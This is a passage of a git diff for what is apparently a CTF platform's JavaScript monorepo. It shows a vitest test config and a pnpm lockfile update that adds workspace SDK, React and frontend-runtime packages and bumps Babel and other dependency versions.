"vitest/config"; + +export default defineConfig({ + test: { + // 默认 Node 环境:SDK 是框架/浏览器无关的传输与协议代码。 + // 需要 DOM 的用例在文件首行加 `// @vitest-environment jsdom`。 + environment: "node", + include: ["src/**/*.test.ts", "src/**/*.test.tsx"], + passWithNoTests: false, + }, +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 8795a1b6..d71a9c9d 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -9,6 +9,28 @@ importers: .: {} apps/web: + dependencies: + '@floatctf/frontend-runtime': + specifier: workspace:* + version: link:../../packages/frontend-runtime + devDependencies: + '@biomejs/biome': + specifier: 1.9.4 + version: 1.9.4 + jsdom: + specifier: ^26.0.0 + version: 26.1.0 + typescript: + specifier: ^5.7.2 + version: 5.9.2 + vite: + specifier: ^6.3.5 + version: 6.4.2(@types/node@24.12.4)(jiti@2.7.0)(lightningcss@1.32.0) + vitest: + specifier: ^3.0.5 + version: 3.2.4(@types/debug@4.1.13)(@types/node@24.12.4)(jiti@2.7.0)(jsdom@26.1.0)(lightningcss@1.32.0) + + frontends/default: dependencies: '@emotion/is-prop-valid': specifier: 1.2.2 @@ -16,6 +38,15 @@ importers: '@faker-js/faker': specifier: ^9.6.0 version: 9.9.0 + '@floatctf/frontend-runtime': + specifier: workspace:* + version: link:../../packages/frontend-runtime + '@floatctf/react': + specifier: workspace:* + version: link:../../packages/react + '@floatctf/sdk': + specifier: workspace:* + version: link:../../packages/sdk '@primer/css': specifier: ^22.0.2 version: 22.1.1(@primer/primitives@11.8.1) @@ -93,7 +124,7 @@ importers: version: 11.0.10(react@19.2.6) recharts: specifier: ^3.2.0 - version: 3.8.1(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react-is@17.0.2)(react@19.2.6)(redux@5.0.1) + version: 3.8.1(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.8)(react@19.2.6)(redux@5.0.1) rehype-rewrite: specifier: ^4.0.2 version: 4.0.4 @@ -153,11 +184,81 @@ importers: specifier: ^4.2.4 version: 4.2.4 -packages: + packages/frontend-runtime: + devDependencies: + '@biomejs/biome': + specifier: 1.9.4 + version: 1.9.4 + jsdom: + specifier: ^26.0.0 + version: 26.1.0 + typescript: + specifier: ^5.7.2 + version: 5.9.2 + vitest: + specifier: ^3.0.5 + version: 3.2.4(@types/debug@4.1.13)(@types/node@24.12.4)(jiti@2.7.0)(jsdom@26.1.0)(lightningcss@1.32.0) - '@ampproject/remapping@2.3.0': - resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} - engines: {node: '>=6.0.0'} + packages/react: + dependencies: + '@floatctf/sdk': + specifier: workspace:* + version: link:../sdk + devDependencies: + '@biomejs/biome': + specifier: 1.9.4 + version: 1.9.4 + '@tanstack/react-query': + specifier: ^5.66.5 + version: 5.100.10(react@19.2.6) + '@testing-library/react': + specifier: ^16.2.0 + version: 16.3.2(@testing-library/dom@10.4.1)(@types/react-dom@19.1.7(@types/react@19.2.14))(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react@19.2.6) + '@types/react': + specifier: ^19.0.8 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.0.3 + version: 19.1.7(@types/react@19.2.14) + '@vitejs/plugin-react': + specifier: ^4.3.4 + version: 4.7.0(vite@6.4.2(@types/node@24.12.4)(jiti@2.7.0)(lightningcss@1.32.0)) + jsdom: + specifier: ^26.0.0 + version: 26.1.0 + react: + specifier: ^19.0.0 + version: 19.2.6 + react-dom: + specifier: ^19.0.0 + version: 19.2.6(react@19.2.6) + typescript: + specifier: ^5.7.2 + version: 5.9.2 + vitest: + specifier: ^3.0.5 + version: 3.2.4(@types/debug@4.1.13)(@types/node@24.12.4)(jiti@2.7.0)(jsdom@26.1.0)(lightningcss@1.32.0) + + packages/sdk: + dependencies: + axios: + specifier: ^1.11.0 + version: 1.16.0(debug@4.4.1) + devDependencies: + '@biomejs/biome': + specifier: 1.9.4 + version: 1.9.4 + jsdom: + specifier: ^26.0.0 + version: 26.1.0 + typescript: + specifier: ^5.7.2 + version: 5.9.2 + vitest: + specifier: ^3.0.5 + version: 3.2.4(@types/debug@4.1.13)(@types/node@24.12.4)(jiti@2.7.0)(jsdom@26.1.0)(lightningcss@1.32.0) + +packages: '@antfu/install-pkg@1.1.0': resolution: {integrity: sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ==} @@ -168,42 +269,22 @@ packages: '@asamuzakjp/css-color@3.2.0': resolution: {integrity: sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==} - '@babel/code-frame@7.27.1': - resolution: {integrity: sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==} - engines: {node: '>=6.9.0'} - '@babel/code-frame@7.29.0': resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==} engines: {node: '>=6.9.0'} - '@babel/compat-data@7.28.0': - resolution: {integrity: sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==} - engines: {node: '>=6.9.0'} - '@babel/compat-data@7.29.3': resolution: {integrity: sha512-LIVqM46zQWZhj17qA8wb4nW/ixr2y1Nw+r1etiAWgRM6U1IqP+LNhL1yg440jYZR72jCWcWbLWzIosH+uP1fqg==} engines: {node: '>=6.9.0'} - '@babel/core@7.28.3': - resolution: {integrity: sha512-yDBHV9kQNcr2/sUr9jghVyz9C3Y5G2zUM2H2lo+9mKv4sFgbA8s8Z9t8D1jiTkGoO/NoIfKMyKWr4s6CN23ZwQ==} - engines: {node: '>=6.9.0'} - '@babel/core@7.29.0': resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==} engines: {node: '>=6.9.0'} - '@babel/generator@7.28.3': - resolution: {integrity: sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==} - engines: {node: '>=6.9.0'} - '@babel/generator@7.29.1': resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==} engines: {node: '>=6.9.0'} - '@babel/helper-compilation-targets@7.27.2': - resolution: {integrity: sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==} - engines: {node: '>=6.9.0'} - '@babel/helper-compilation-targets@7.28.6': resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==} engines: {node: '>=6.9.0'} @@ -212,20 +293,10 @@ packages: resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} engines: {node: '>=6.9.0'} - '@babel/helper-module-imports@7.27.1': - resolution: {integrity: sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==} - engines: {node: '>=6.9.0'} - '@babel/helper-module-imports@7.28.6': resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==} engines: {node: '>=6.9.0'} - '@babel/helper-module-transforms@7.28.3': - resolution: {integrity: sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - '@babel/helper-module-transforms@7.28.6': resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==} engines: {node: '>=6.9.0'} @@ -240,10 +311,6 @@ packages: resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} engines: {node: '>=6.9.0'} - '@babel/helper-validator-identifier@7.27.1': - resolution: {integrity: sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==} - engines: {node: '>=6.9.0'} - '@babel/helper-validator-identifier@7.28.5': resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} engines: {node: '>=6.9.0'} @@ -252,19 +319,10 @@ packages: resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} engines: {node: '>=6.9.0'} - '@babel/helpers@7.28.3': - resolution: {integrity: sha512-PTNtvUQihsAsDHMOP5pfobP8C6CM4JWXmP8DrEIt46c3r2bf87Ua1zoqevsMo9g+tWDwgWrFP5EIxuBx5RudAw==} - engines: {node: '>=6.9.0'} - '@babel/helpers@7.29.2': resolution: {integrity: sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==} engines: {node: '>=6.9.0'} - '@babel/parser@7.28.3': - resolution: {integrity: sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==} - engines: {node: '>=6.0.0'} - hasBin: true - '@babel/parser@7.29.3': resolution: {integrity: sha512-b3ctpQwp+PROvU/cttc4OYl4MzfJUWy6FZg+PMXfzmt/+39iHVF0sDfqay8TQM3JA2EUOyKcFZt75jWriQijsA==} engines: {node: '>=6.0.0'} @@ -294,34 +352,18 @@ packages: peerDependencies: '@babel/core': ^7.0.0-0 - '@babel/runtime@7.28.3': - resolution: {integrity: sha512-9uIQ10o0WGdpP6GDhXcdOJPJuDgFtIDtN/9+ArJQ2NAfAmiuhTQdzkaTGR33v43GYS2UrSA0eX2pPPHoFVvpxA==} - engines: {node: '>=6.9.0'} - '@babel/runtime@7.29.2': resolution: {integrity: sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==} engines: {node: '>=6.9.0'} - '@babel/template@7.27.2': - resolution: {integrity: sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==} - engines: {node: '>=6.9.0'} - '@babel/template@7.28.6': resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==} engines: {node: '>=6.9.0'} - '@babel/traverse@7.28.3': - resolution: {integrity: sha512-7w4kZYHneL3A6NP2nxzHvT3HCZ7puDZZjFMqDpBPECub79sTtSO5CGXDkKrTQq8ksAwfD/XI2MRFX23njdDaIQ==} - engines: {node: '>=6.9.0'} - '@babel/traverse@7.29.0': resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==} engines: {node: '>=6.9.0'} - '@babel/types@7.28.2': - resolution: {integrity: sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==} - engines: {node: '>=6.9.0'} - '@babel/types@7.29.0': resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} engines: {node: '>=6.9.0'} @@ -1244,9 +1286,6 @@ packages: '@types/geojson@7946.0.16': resolution: {integrity: sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==} - '@types/hast@2.3.10': - resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} - '@types/hast@3.0.4': resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} @@ -1262,9 +1301,6 @@ packages: '@types/node@24.12.4': resolution: {integrity: sha512-GUUEShf+PBCGW2KaXwcIt3Yk+e3pkKwWKb9GSyM9WQVE+ep2jzmHdGsHzu4wgcZy5fN9FBdVzjpBQsYlpfpgLA==} - '@types/prismjs@1.26.5': - resolution: {integrity: sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ==} - '@types/prismjs@1.26.6': resolution: {integrity: sha512-vqlvI7qlMvcCBbVe0AKAb4f97//Hy0EBTaiW8AalRnG/xAN5zOiWWyrNqNXeq8+KAuvRewjCVY1+IPxk4RdNYw==} @@ -1727,9 +1763,6 @@ packages: decimal.js@10.6.0: resolution: {integrity: sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==} - decode-named-character-reference@1.2.0: - resolution: {integrity: sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q==} - decode-named-character-reference@1.3.0: resolution: {integrity: sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==} @@ -1807,9 +1840,6 @@ packages: resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} engines: {node: '>= 0.4'} - es-toolkit@1.39.10: - resolution: {integrity: sha512-E0iGnTtbDhkeczB0T+mxmoVlT4YNweEKBLq7oaU4p11mecdsZpNWOglI4895Vh4usbQ+LsJiuLuI2L0Vdmfm2w==} - es-toolkit@1.46.1: resolution: {integrity: sha512-5eNtXOs3tbfxXOj04tjjseeWkRWaoCjdEI+96DgwzZoe6c9juL49pXlzAFTI72aWC9Y8p7168g6XIKjh7k6pyQ==} @@ -1950,9 +1980,6 @@ packages: hast-util-is-element@3.0.0: resolution: {integrity: sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==} - hast-util-parse-selector@3.1.1: - resolution: {integrity: sha512-jdlwBjEexy1oGz0aJ2f4GKMaVKkA9jwjr4MjAAI22E5fM/TXVZHuS5OpONtdeIkRKqAaryQ2E9xNQxijoThSZA==} - hast-util-parse-selector@4.0.0: resolution: {integrity: sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==} @@ -1977,9 +2004,6 @@ packages: hast-util-whitespace@3.0.0: resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} - hastscript@7.2.0: - resolution: {integrity: sha512-TtYPq24IldU8iKoJQqvZOuhi5CyCQRAbvDOX0x1eW6rsHSxa/1i2CCiptNTotGHJ3VoHRGmqiv6/D3q113ikkw==} - hastscript@9.0.1: resolution: {integrity: sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==} @@ -2577,9 +2601,6 @@ packages: redux@5.0.1: resolution: {integrity: sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==} - refractor@4.9.0: - resolution: {integrity: sha512-nEG1SPXFoGGx+dcjftjv8cAjEusIh6ED1xhf5DG3C0x/k+rmZ2duKnc3QLpt6qeHv5fPb8uwN3VWN2BT7fr3Og==} - refractor@5.0.0: resolution: {integrity: sha512-QXOrHQF5jOpjjLfiNk5GFnWhRXvxjUVnlFxkeDmewR5sXkr3iM46Zo+CnRR8B+MDVqkULW4EcLVcRBNOPXHosw==} @@ -2597,9 +2618,6 @@ packages: rehype-parse@9.0.1: resolution: {integrity: sha512-ksCzCD0Fgfh7trPDxr2rSylbwq9iYDkSn8TCDmEJ49ljEUBxDVCzCHv7QNzZOfODanX4+bWQ4WZqLCRWYLfhag==} - rehype-prism-plus@2.0.1: - resolution: {integrity: sha512-Wglct0OW12tksTUseAPyWPo3srjBOY7xKlql/DPKi7HbsdZTyaLCAoO58QBKSczFQxElTsQlOY3JDOFzB/K++Q==} - rehype-prism-plus@2.0.2: resolution: {integrity: sha512-jTHb8ZtQHd2VWAAKeCINgv/8zNEF0+LesmwJak69GemoPVN9/8fGEARTvqOpKqmN57HwaM9z8UKBVNVJe8zggw==} @@ -2878,11 +2896,6 @@ packages: peerDependencies: browserslist: '>= 4.21.0' - use-sync-external-store@1.5.0: - resolution: {integrity: sha512-Rb46I4cGGVBmjamjphe8L/UnvJD+uPPtTkNvX5mZgqdbavhI4EbgIWJiIHXJ8bc/i9EQGPRh4DwEURJ552Do0A==} - peerDependencies: - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - use-sync-external-store@1.6.0: resolution: {integrity: sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==} peerDependencies: @@ -3063,11 +3076,6 @@ packages: snapshots: - '@ampproject/remapping@2.3.0': - dependencies: - '@jridgewell/gen-mapping': 0.3.13 - '@jridgewell/trace-mapping': 0.3.30 - '@antfu/install-pkg@1.1.0': dependencies: package-manager-detector: 1.3.0 @@ -3083,42 +3091,14 @@ snapshots: '@csstools/css-tokenizer': 3.0.4 lru-cache: 10.4.3 - '@babel/code-frame@7.27.1': - dependencies: - '@babel/helper-validator-identifier': 7.27.1 - js-tokens: 4.0.0 - picocolors: 1.1.1 - '@babel/code-frame@7.29.0': dependencies: '@babel/helper-validator-identifier': 7.28.5 js-tokens: 4.0.0 picocolors: 1.1.1 - '@babel/compat-data@7.28.0': {} - '@babel/compat-data@7.29.3': {} - '@babel/core@7.28.3': - dependencies: - '@ampproject/remapping': 2.3.0 - '@babel/code-frame': 7.27.1 - '@babel/generator': 7.28.3 - '@babel/helper-compilation-targets': 7.27.2 - '@babel/helper-module-transforms': 7.28.3(@babel/core@7.28.3) - '@babel/helpers': 7.28.3 - '@babel/parser': 7.28.3 - '@babel/template': 7.27.2 - '@babel/traverse': 7.28.3 - '@babel/types': 7.28.2 - convert-source-map: 2.0.0 - debug: 4.4.1 - gensync: 1.0.0-beta.2 - json5: 2.2.3 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - '@babel/core@7.29.0': dependencies: '@babel/code-frame': 7.29.0 @@ -3139,14 +3119,6 @@ snapshots: transitivePeerDependencies: - supports-color - '@babel/generator@7.28.3': - dependencies: - '@babel/parser': 7.28.3 - '@babel/types': 7.29.0 - '@jridgewell/gen-mapping': 0.3.13 - '@jridgewell/trace-mapping': 0.3.30 - jsesc: 3.1.0 - '@babel/generator@7.29.1': dependencies: '@babel/parser': 7.29.3 @@ -3155,14 +3127,6 @@ snapshots: '@jridgewell/trace-mapping': 0.3.30 jsesc: 3.1.0 - '@babel/helper-compilation-targets@7.27.2': - dependencies: - '@babel/compat-data': 7.28.0 - '@babel/helper-validator-option': 7.27.1 - browserslist: 4.28.2 - lru-cache: 5.1.1 - semver: 6.3.1 - '@babel/helper-compilation-targets@7.28.6': dependencies: '@babel/compat-data': 7.29.3 @@ -3173,13 +3137,6 @@ snapshots: '@babel/helper-globals@7.28.0': {} - '@babel/helper-module-imports@7.27.1': - dependencies: - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - transitivePeerDependencies: - - supports-color - '@babel/helper-module-imports@7.28.6': dependencies: '@babel/traverse': 7.29.0 @@ -3187,15 +3144,6 @@ snapshots: transitivePeerDependencies: - supports-color - '@babel/helper-module-transforms@7.28.3(@babel/core@7.28.3)': - dependencies: - '@babel/core': 7.28.3 - '@babel/helper-module-imports': 7.27.1 - '@babel/helper-validator-identifier': 7.27.1 - '@babel/traverse': 7.29.0 - transitivePeerDependencies: - - supports-color - '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)': dependencies: '@babel/core': 7.29.0 @@ -3209,26 +3157,15 @@ snapshots: '@babel/helper-string-parser@7.27.1': {} - '@babel/helper-validator-identifier@7.27.1': {} - '@babel/helper-validator-identifier@7.28.5': {} '@babel/helper-validator-option@7.27.1': {} - '@babel/helpers@7.28.3': - dependencies: - '@babel/template': 7.27.2 - '@babel/types': 7.29.0 - '@babel/helpers@7.29.2': dependencies: '@babel/template': 7.28.6 '@babel/types': 7.29.0 - '@babel/parser@7.28.3': - dependencies: - '@babel/types': 7.29.0 - '@babel/parser@7.29.3': dependencies: '@babel/types': 7.29.0 @@ -3243,44 +3180,24 @@ snapshots: '@babel/core': 7.29.0 '@babel/helper-plugin-utils': 7.27.1 - '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.28.3)': + '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.29.0)': dependencies: - '@babel/core': 7.28.3 + '@babel/core': 7.29.0 '@babel/helper-plugin-utils': 7.27.1 - '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.28.3)': + '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.29.0)': dependencies: - '@babel/core': 7.28.3 + '@babel/core': 7.29.0 '@babel/helper-plugin-utils': 7.27.1 - '@babel/runtime@7.28.3': {} - '@babel/runtime@7.29.2': {} - '@babel/template@7.27.2': - dependencies: - '@babel/code-frame': 7.27.1 - '@babel/parser': 7.28.3 - '@babel/types': 7.29.0 - '@babel/template@7.28.6': dependencies: '@babel/code-frame': 7.29.0 '@babel/parser': 7.29.3 '@babel/types': 7.29.0 - '@babel/traverse@7.28.3': - dependencies: - '@babel/code-frame': 7.27.1 - '@babel/generator': 7.28.3 - '@babel/helper-globals': 7.28.0 - '@babel/parser': 7.28.3 - '@babel/template': 7.27.2 - '@babel/types': 7.29.0 - debug: 4.4.1 - transitivePeerDependencies: - - supports-color - '@babel/traverse@7.29.0': dependencies: '@babel/code-frame': 7.29.0 @@ -3293,11 +3210,6 @@ snapshots: transitivePeerDependencies: - supports-color - '@babel/types@7.28.2': - dependencies: - '@babel/helper-string-parser': 7.27.1 - '@babel/helper-validator-identifier': 7.27.1 - '@babel/types@7.29.0': dependencies: '@babel/helper-string-parser': 7.27.1 @@ -3903,7 +3815,7 @@ snapshots: '@babel/core': 7.29.0 '@babel/plugin-syntax-jsx': 7.27.1(@babel/core@7.29.0) '@babel/plugin-syntax-typescript': 7.27.1(@babel/core@7.29.0) - '@babel/template': 7.27.2 + '@babel/template': 7.28.6 '@babel/traverse': 7.29.0 '@babel/types': 7.29.0 '@tanstack/router-core': 1.169.2 @@ -3941,8 +3853,8 @@ snapshots: '@testing-library/dom@10.4.1': dependencies: - '@babel/code-frame': 7.27.1 - '@babel/runtime': 7.28.3 + '@babel/code-frame': 7.29.0 + '@babel/runtime': 7.29.2 '@types/aria-query': 5.0.4 aria-query: 5.3.0 dom-accessibility-api: 0.5.16 @@ -3952,7 +3864,7 @@ snapshots: '@testing-library/react@16.3.2(@testing-library/dom@10.4.1)(@types/react-dom@19.1.7(@types/react@19.2.14))(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)': dependencies: - '@babel/runtime': 7.28.3 + '@babel/runtime': 7.29.2 '@testing-library/dom': 10.4.1 react: 19.2.6 react-dom: 19.2.6(react@19.2.6) @@ -3964,8 +3876,8 @@ snapshots: '@types/babel__core@7.20.5': dependencies: - '@babel/parser': 7.28.3 - '@babel/types': 7.28.2 + '@babel/parser': 7.29.3 + '@babel/types': 7.29.0 '@types/babel__generator': 7.27.0 '@types/babel__template': 7.4.4 '@types/babel__traverse': 7.28.0 @@ -3976,7 +3888,7 @@ snapshots: '@types/babel__template@7.4.4': dependencies: - '@babel/parser': 7.28.3 + '@babel/parser': 7.29.3 '@babel/types': 7.29.0 '@types/babel__traverse@7.28.0': @@ -4120,10 +4032,6 @@ snapshots: '@types/geojson@7946.0.16': {} - '@types/hast@2.3.10': - dependencies: - '@types/unist': 2.0.11 - '@types/hast@3.0.4': dependencies: '@types/unist': 3.0.3 @@ -4140,8 +4048,6 @@ snapshots: dependencies: undici-types: 7.16.0 - '@types/prismjs@1.26.5': {} - '@types/prismjs@1.26.6': {} '@types/react-dom@19.1.7(@types/react@19.2.14)': @@ -4154,11 +4060,11 @@ snapshots: '@types/styled-system@5.1.23': dependencies: - csstype: 3.1.3 + csstype: 3.2.3 '@types/styled-system__css@5.0.21': dependencies: - csstype: 3.1.3 + csstype: 3.2.3 '@types/styled-system__theme-get@5.0.4': {} @@ -4198,12 +4104,12 @@ snapshots: '@uiw/react-md-editor@4.1.0(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)': dependencies: - '@babel/runtime': 7.28.3 + '@babel/runtime': 7.29.2 '@uiw/react-markdown-preview': 5.2.0(@types/react@19.2.14)(react-dom@19.2.6(react@19.2.6))(react@19.2.6) react: 19.2.6 react-dom: 19.2.6(react@19.2.6) rehype: 13.0.2 - rehype-prism-plus: 2.0.1 + rehype-prism-plus: 2.0.2 transitivePeerDependencies: - '@types/react' - supports-color @@ -4217,9 +4123,9 @@ snapshots: '@vitejs/plugin-react@4.7.0(vite@6.4.2(@types/node@24.12.4)(jiti@2.7.0)(lightningcss@1.32.0))': dependencies: - '@babel/core': 7.28.3 - '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.28.3) - '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.28.3) + '@babel/core': 7.29.0 + '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.29.0) + '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.29.0) '@rolldown/pluginutils': 1.0.0-beta.27 '@types/babel__core': 7.20.5 react-refresh: 0.17.0 @@ -4281,7 +4187,7 @@ snapshots: ahooks@3.9.7(react-dom@19.2.6(react@19.2.6))(react@19.2.6): dependencies: - '@babel/runtime': 7.28.3 + '@babel/runtime': 7.29.2 '@types/js-cookie': 3.0.6 dayjs: 1.11.20 intersection-observer: 0.12.2 @@ -4654,10 +4560,6 @@ snapshots: decimal.js@10.6.0: {} - decode-named-character-reference@1.2.0: - dependencies: - character-entities: 2.0.2 - decode-named-character-reference@1.3.0: dependencies: character-entities: 2.0.2 @@ -4722,8 +4624,6 @@ snapshots: has-tostringtag: 1.0.2 hasown: 2.0.3 - es-toolkit@1.39.10: {} - es-toolkit@1.46.1: {} esbuild@0.25.9: @@ -4886,10 +4786,6 @@ snapshots: dependencies: '@types/hast': 3.0.4 - hast-util-parse-selector@3.1.1: - dependencies: - '@types/hast': 2.3.10 - hast-util-parse-selector@4.0.0: dependencies: '@types/hast': 3.0.4 @@ -4925,7 +4821,7 @@ snapshots: nth-check: 2.1.1 property-information: 7.1.0 space-separated-tokens: 2.0.2 - unist-util-visit: 5.0.0 + unist-util-visit: 5.1.0 zwitch: 2.0.4 hast-util-to-html@9.0.5: @@ -4980,14 +4876,6 @@ snapshots: dependencies: '@types/hast': 3.0.4 - hastscript@7.2.0: - dependencies: - '@types/hast': 2.3.10 - comma-separated-tokens: 2.0.3 - hast-util-parse-selector: 3.1.1 - property-information: 6.5.0 - space-separated-tokens: 2.0.2 - hastscript@9.0.1: dependencies: '@types/hast': 3.0.4 @@ -4998,7 +4886,7 @@ snapshots: history@5.3.0: dependencies: - '@babel/runtime': 7.28.3 + '@babel/runtime': 7.29.2 